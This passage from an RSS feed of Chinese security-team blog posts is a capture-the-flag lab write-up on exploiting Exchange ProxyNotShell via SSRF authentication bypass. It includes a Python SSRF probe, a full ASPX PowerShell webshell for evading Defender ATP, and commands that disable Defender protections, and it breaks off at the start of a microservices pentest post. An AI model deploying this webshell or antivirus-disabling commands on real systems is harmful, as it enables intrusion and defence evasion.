target="_blank">https://github.com/testanull/ProxyNotShell-PoC。</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">原始脚本直接使用账户密码认证，再利用反序列化漏洞进行攻击，这里我们需要修改成使用ssrf漏洞结合X-Rps-CAT绕过认证的形式：</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><img class="rich_pages wxw-img" data-ratio="0.17962962962962964" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=20f57cba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibag5Wj93OCtSox3EicicYx7dJSRbRVGu7JCMmQNvalYicX0Mh2wGiawkeFKwg%2F640%3Fwx_fmt%3Dpng"/>其中X-Rps-CAT我们可以使用proxyshellwithsid.py这个脚本获取：<img class="rich_pages wxw-img" data-ratio="0.11296296296296296" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9fbb0fcc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibag12UCjz6C5pcUPFL4Bfvgl83oEicKiarmmpWFfwoJ9libhQ1tnsb3GhmKQ%2F640%3Fwx_fmt%3Dpng"/></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>ReSSRF</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">填入<a href="https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxynotshellcmd.py这个脚本后进行rce，这里遇到一个命令执行没回显的经典问题。目标是肯定不出网的，包括dns。只能写入文件，但该环境无法访问常规的exchange放webshell的目录，如owa/ecp/aspnet_client等。而autodiscover等目录虽然可以访问，但需要凭据。联系前面的内容我们很容易想到通过ssrf绕过autodiscover的认证，简单写一个探测脚本：" target="_blank">https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxynotshellcmd.py这个脚本后进行rce，这里遇到一个命令执行没回显的经典问题。目标是肯定不出网的，包括dns。只能写入文件，但该环境无法访问常规的exchange放webshell的目录，如owa/ecp/aspnet_client等。而autodiscover等目录虽然可以访问，但需要凭据。联系前面的内容我们很容易想到通过ssrf绕过autodiscover的认证，简单写一个探测脚本：</a></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgf2Mn0UMso8RFUuuIYSPVlyvGNupbnhMz6toW8TR25MVjOGJONa22SkTQNicDa4mXjhOC7e705qRe/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">import requests<br/> <br/>base_url=<span style="color: #D69D85;line-height: 26px;">&#34;<a href="https://10.0.102.210" target="_blank">https://10.0.102.210</a>&#34;</span><br/>original_url=<span style="color: #D69D85;line-height: 26px;">&#34;autodiscover/1.txt&#34;</span><br/>headers={}<br/>cookies={}<br/> <br/>headers[<span style="color: #D69D85;line-height: 26px;">&#34;User-Agent&#34;</span>] = <span style="color: #D69D85;line-height: 26px;">&#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36&#34;</span><br/>cookies[<span style="color: #D69D85;line-height: 26px;">&#34;Email&#34;</span>] = <span style="color: #D69D85;line-height: 26px;">&#34;autodiscover/autodiscover.json?a=ictbv@pshke.pov&#34;</span><br/>url = base_url + <span style="color: #D69D85;line-height: 26px;">&#34;/autodiscover/autodiscover.json?a=ictbv@pshke.pov/%s&#34;</span> % original_url<br/>r=requests.get(url,headers=headers,cookies=cookies,verify=False)<br/><span style="color: #4EC9B0;line-height: 26px;">print</span>(r.text)<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">可以借助ssrf绕过认证访问到autodiscover目录下的资源了，进行进一步利用：<img class="rich_pages wxw-img" data-ratio="0.21388888888888888" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5510f777&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagWU3ibJhFWPeEh5oVHo9ICJVVFiaIkvXCGms7jKa6889y28NBzGAQYjgw%2F640%3Fwx_fmt%3Dpng"/>多次尝试后发现无法成功写入。尝试了多个可能问题，包括命令的转义等情况，最后得出结论可能是被目标杀软拦截了。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>反序列化利用写文件</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">之前在很多场景下遇到了限制w3wp.exe调用cmd的情况，之前也介绍过TypeConfuse的写文件，这次使用ResourceDictionary写文件，主要可以参考头像哥的文章<a href="https://www.t00ls.com/articles-55183.html#tls3，需要注意转义，路径带空格等问题：" target="_blank">https://www.t00ls.com/articles-55183.html#tls3，需要注意转义，路径带空格等问题：</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><img class="rich_pages wxw-img" data-ratio="0.12962962962962962" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=291dfd21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagiaFOhaRyLxM9SzOVEQfSoqG82ic5sZtH7MEgk37ia5P3OricDVcb9jk6Rg%2F640%3Fwx_fmt%3Dpng"/>修改poc后写入使用<a href="https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxynotshellfileWrite.py访问，写入成功但报错：" target="_blank">https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxynotshellfileWrite.py访问，写入成功但报错：</a><img class="rich_pages wxw-img" data-ratio="0.6148148148148148" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c4d7ec51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagedTR75SbiaAevyqf6ib4QAbbf0TXvL4ybMwITXgsXwIRszULibkPTSXWg%2F640%3Fwx_fmt%3Dpng"/></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>bypass windows definder ATP</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">更换多个shell后发现列目录等文件操作没问题</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.2611111111111111" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b1d3ecff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagSiaichFNHD1xCbXxvcCibFoNj92bGAkoyakFbYqoiauXc84zibPDdo5R0XA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">但执行命令就会被拒绝，查看目录可以发现存在较新的windows definder atp，使用<a href="https://github.com/ThePacketBender/webshells/blob/master/POWERshell.aspx可以通过调用c#" target="_blank">https://github.com/ThePacketBender/webshells/blob/master/POWERshell.aspx可以通过调用c#</a> powershell相关的dll绕过definder部分限制。在这个漏洞利用的情境下使用控件表单的webshell非常麻烦，稍微修改一下webshell：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgf2Mn0UMso8RFUuuIYSPVlyvGNupbnhMz6toW8TR25MVjOGJONa22SkTQNicDa4mXjhOC7e705qRe/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">&lt;%@ Page Language=<span style="color: #D69D85;line-height: 26px;">&#34;C#&#34;</span> %&gt;<br/>&lt;%@ Import Namespace=<span style="color: #D69D85;line-height: 26px;">&#34;System.Collections.ObjectModel&#34;</span>%&gt;<br/>&lt;%@ Import Namespace=<span style="color: #D69D85;line-height: 26px;">&#34;System.Management.Automation&#34;</span>%&gt;<br/>&lt;%@ Import Namespace=<span style="color: #D69D85;line-height: 26px;">&#34;System.Management.Automation.Runspaces&#34;</span>%&gt;<br/>&lt;%@ Assembly Name=<span style="color: #D69D85;line-height: 26px;">&#34;System.Management.Automation,Version=1.0.0.0,Culture=neutral,PublicKeyToken=31BF3856AD364E35&#34;</span>%&gt;<br/> <br/>&lt;!DOCTYPE html&gt;<br/> <br/>&lt;script Language=<span style="color: #D69D85;line-height: 26px;">&#34;c#&#34;</span> runat=<span style="color: #D69D85;line-height: 26px;">&#34;server&#34;</span>&gt;<br/> <br/>    private static string powershelled(string scriptText)<br/>    {<br/>        try<br/>        {<br/>            Runspace runspace = RunspaceFactory.CreateRunspace();<br/>            runspace.Open();<br/> <br/>            Pipeline pipeline = runspace.CreatePipeline();<br/>            pipeline.Commands.AddScript(scriptText);<br/>            pipeline.Commands.Add(<span style="color: #D69D85;line-height: 26px;">&#34;Out-String&#34;</span>);<br/> <br/>            Collection&lt;PSObject&gt; results = pipeline.Invoke();<br/>            runspace.Close();<br/>            StringBuilder stringBuilder = new StringBuilder();<br/>            foreach (PSObject obj <span style="color: #569CD6;line-height: 26px;">in</span> results)<br/>                stringBuilder.AppendLine(obj.ToString());<br/> <br/>            <span style="color: #4EC9B0;line-height: 26px;">return</span> stringBuilder.ToString();<br/>        }catch(Exception exception)<br/>        {<br/>            <span style="color: #4EC9B0;line-height: 26px;">return</span> string.Format(<span style="color: #D69D85;line-height: 26px;">&#34;Error: {0}&#34;</span>, exception.Message);<br/>        }<br/>    }<br/>    <br/>    protected void Page_Load(object sender, EventArgs e)<br/>    {<br/>       Response.Write(powershelled(Request.Params[<span style="color: #D69D85;line-height: 26px;">&#34;cmd&#34;</span>]));<br/>    }<br/>&lt;/script&gt;<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">可以执行部分powershell命令：</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><img class="rich_pages wxw-img" data-ratio="0.5455607476635514" style="display: block;margin: 0 auto;max-width: 100%;" data-w="856" src="https://wechat2rss.xlab.app/img-proxy/?k=ada7eed8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagCynrgDEDUNsLgG7bX2FNPHYdLsy1nrPiaO7ImbHFAYJY32MriauApQ4w%2F640%3Fwx_fmt%3Dpng"/>启动敏感进程依旧被拦截：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4131147540983607" style="display: block;margin: 0 auto;max-width: 100%;" data-w="915" src="https://wechat2rss.xlab.app/img-proxy/?k=5976ce99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagOcCfBT56rp1cSxC8KrDr2G319dvpjlw9iaDtbiaF8wENgO8wUNZE8gUQ%2F640%3Fwx_fmt%3Dpng"/></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>MORE</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过c#调用powershell相关dll可以实现绕过ATP执行部分命令，但这样还不足够。我们可以使用powersell关闭definder的一些功能：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgf2Mn0UMso8RFUuuIYSPVlyvGNupbnhMz6toW8TR25MVjOGJONa22SkTQNicDa4mXjhOC7e705qRe/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Disables realtime monitoring</span><br/>Set-MpPreference -DisableRealtimeMonitoring <span style="color: #BD63C5;line-height: 26px;">$true</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Disables scanning for downloaded files or attachments</span><br/>Set-MpPreference -DisableIOAVProtection <span style="color: #BD63C5;line-height: 26px;">$true</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Disable behaviour monitoring</span><br/>Set-MPPreference -DisableBehaviourMonitoring <span style="color: #BD63C5;line-height: 26px;">$true</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Make exclusion for a certain folder</span><br/>Add-MpPreference -ExclusionPath <span style="color: #D69D85;line-height: 26px;">&#34;C:\Windows\Temp&#34;</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Disables cloud detection</span><br/>Set-MPPreference -DisableBlockAtFirstSeen <span style="color: #BD63C5;line-height: 26px;">$true</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Disables scanning of .pst and other email formats</span><br/>Set-MPPreference -DisableEmailScanning <span style="color: #BD63C5;line-height: 26px;">$true</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Disables script scanning during malware scans</span><br/>Set-MPPReference -DisableScriptScanning <span style="color: #BD63C5;line-height: 26px;">$true</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Exclude files by extension</span><br/>Set-MpPreference -ExclusionExtension <span style="color: #D69D85;line-height: 26px;">&#34;ps1&#34;</span><br/><span style="color: #57A64A;font-style: italic;line-height: 26px;"># Turn off everything and set exclusion to &#34;C:\Windows\Temp&#34;</span><br/>Set-MpPreference -DisableRealtimeMonitoring <span style="color: #BD63C5;line-height: 26px;">$true</span>;Set-MpPreference -DisableIOAVProtection <span style="color: #BD63C5;line-height: 26px;">$true</span>;Set-MPPreference -DisableBehaviorMonitoring <span style="color: #BD63C5;line-height: 26px;">$true</span>;Set-MPPreference -DisableBlockAtFirstSeen <span style="color: #BD63C5;line-height: 26px;">$true</span>;Set-MPPreference -DisableEmailScanning <span style="color: #BD63C5;line-height: 26px;">$true</span>;Set-MPPReference -DisableScriptScanning <span style="color: #BD63C5;line-height: 26px;">$true</span>;Set-MpPreference -DisableIOAVProtection <span style="color: #BD63C5;line-height: 26px;">$true</span>;Add-MpPreference -ExclusionPath <span style="color: #D69D85;line-height: 26px;">&#34;C:\Windows\Temp&#34;</span><br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">对于ATP的绕过手段有很多种，笔者一般使用三种办法：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">使用c#调用winrm，实现winrm进程启动cmd.exe而不是w3wp进程启动cmd.exe。可以继承当前shell上下文的权限，但只能是管理员调用(域内机器)。适用于exch这种system启动的shell或有域身份的shell。winrm相关库：<a href="http://windowsbulletin.com/files/dll/dell-inc/dell-amt-vpro-plugin/interop-wsmanautomation-dll" target="_blank">http://windowsbulletin.com/files/dll/dell-inc/dell-amt-vpro-plugin/interop-wsmanautomation-dll</a></p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">c#调用powershell的反射类型，即上面提到的webshell：<a href="https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/" target="_blank">https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/</a>
<a href="https://www.linkedin.com/pulse/bypass-security-simple-trick-execute-csharp-dll-rundll32exe-brok" target="_blank">https://www.linkedin.com/pulse/bypass-security-simple-trick-execute-csharp-dll-rundll32exe-brok</a></p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">使用c#实现接下来需要的完整功能，如导出ldap，dumplsass，甚至包括直接进行dcsync操作。在之前的文章《记一次团队内部的红蓝对抗-攻击篇 》中我们曾经使用c#导出过spn。</p></section></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">经过一系列操作后，我们获取到了本地administrator用户的hash，横向移动后在dc获取到了flag。</p></section><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">环境获取</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">本挑战为xbitsplatform公开环境，师傅可以直接通过 <span style="text-align:left;line-height:1.75;color:#576b95;">www.xbitsplatform.com</span> 访问平台。同时环境中使用的工具，和该靶场相关笔记也会上传到知识星球。</p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">知识星球</h3><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="1.1893333333333334" title="null" data-type="png" data-w="750" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;width: 348px;height: 414px;" src="https://wechat2rss.xlab.app/img-proxy/?k=32519c4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kk8DWeWWZyojvpQIRESLPKpib3FHKhmPvxpc6vuu9zRxMAniaMf3tB7NoA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">团队其他文章</h3><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500897&amp;idx=1&amp;sn=7246ef032d27bd123cb53b0c967e042c&amp;chksm=c0e8a033f79f2925447a115913fc5705285b3aa2d3850681e048509ebf9222aaea79da37e345&amp;scene=21#wechat_redirect" textvalue="记一次对微服务架构的渗透测试" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">记一次对微服务架构的渗透测试</a></p><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500867&amp;idx=1&amp;sn=b0972455409f2c2f98c1078be18dc1fe&amp;chksm=c0e8a011f79f29074a1a75990cd9e4d2ace895b2dc8f8ec0f0f898514e0e38e9e9c9223ac62a&amp;scene=21#wechat_redirect" textvalue="域渗透-How2MoveLaterally" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">域渗透-How2MoveLaterally</a></p><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500440&amp;idx=1&amp;sn=138b43f66e7e4107b5a957712620d884&amp;chksm=c0e8a6caf79f2fdc7ec261842b089bdd1c22ab39d3393640a5c39bb9db991b210990e2b190a6&amp;scene=21#wechat_redirect" textvalue="域渗透-How2UseLdap" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">域渗透-How2UseLdap</a></p><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500331&amp;idx=1&amp;sn=4f2661ed53573844425739960cad6817&amp;chksm=c0e8a679f79f2f6f3be01c6bf78e62280700d1d1599d8c916f6d29b284a0b61bc8e55d9daa76&amp;scene=21#wechat_redirect" textvalue="域渗透-How2PwnACLs" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">域渗透-How2PwnACLs</a><br/></p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">了解更多关于xbitsplatform的信息：</h3><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499639&amp;idx=1&amp;sn=18afd245d529c8d74ac52a6cb62da68a&amp;chksm=c0e89b25f79f123389e8c3e781bd7f14a999ba3e731b8b1199d1161c1055d4f55bfad8155dcf&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="2" style="font-size: 15px;"><span style="font-size: 15px;">xBitsPlatform公测版正式上线啦</span></a><br/><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500069&amp;idx=1&amp;sn=5e06c7b98f9a90cc016e9125b3458e6b&amp;chksm=c0e8a577f79f2c6125ee8971cd2751e831bb7270e096e706a074cf559363d98c902ab3f59c9e&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="2" style="font-size: 15px;"><span style="font-size: 15px;">xBitsPlatform使用说明</span></a></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500954">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ac713429&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247500954%26idx%3D1%26sn%3D95e97816125b76cfa671e17e2be9c6b3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 14 Sep 2023 22:53:00 +0800</pubDate>
    </item>
    <item>
      <title>记一次对微服务架构的渗透测试</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500897&amp;idx=1&amp;sn=7246ef032d27bd123cb53b0c967e042c</link>
      <description>最近在一次渗透过程中遇到了微服务架构，对其进行了复现。目前配套环境已上线7BitsPlatform，环境名为EsayMicroServices，为私有环境，流程较为简单，分值为300分。</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2023-07-19 09:21</span> <span style="display: inline-block;">江苏</span>
</p>

<p>最近在一次渗透过程中遇到了微服务架构，对其进行了复现。目前配套环境已上线7BitsPlatform，环境名为EsayMicroServices，为私有环境，流程较为简单，分值为300分。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=409fb78c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYn2FQZqCawFVibvSRzXJ04oUu4xzT1tC4tuoWXciaicHegwcFc7N6Ptkn6g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18.24px;font-weight: bold;display: table;margin: 0px auto 1em;padding: 0px 1em;border-bottom: 2px solid rgb(0, 152, 116);color: rgb(63, 63, 63);">记一次对微服务架构的渗透测试</h1><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">最近在一次渗透过程中遇到了微服务架构，打点进入之后在一个独立的docker中，该docker只负责某个单一的任务，如计划任务，订单操作等。之前对这种架构的渗透方法了解比较少，本文将记录这次渗透流程并在7BitsPlatform复现大致攻击路径。目前配套环境已上线7BitsPlatform，环境名为EsayMicroServices，为私有环境，流程较为简单，分值为300分。</p><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17.6px;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(0, 152, 116);color: rgb(255, 255, 255);">NACOS认证绕过</h2><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, 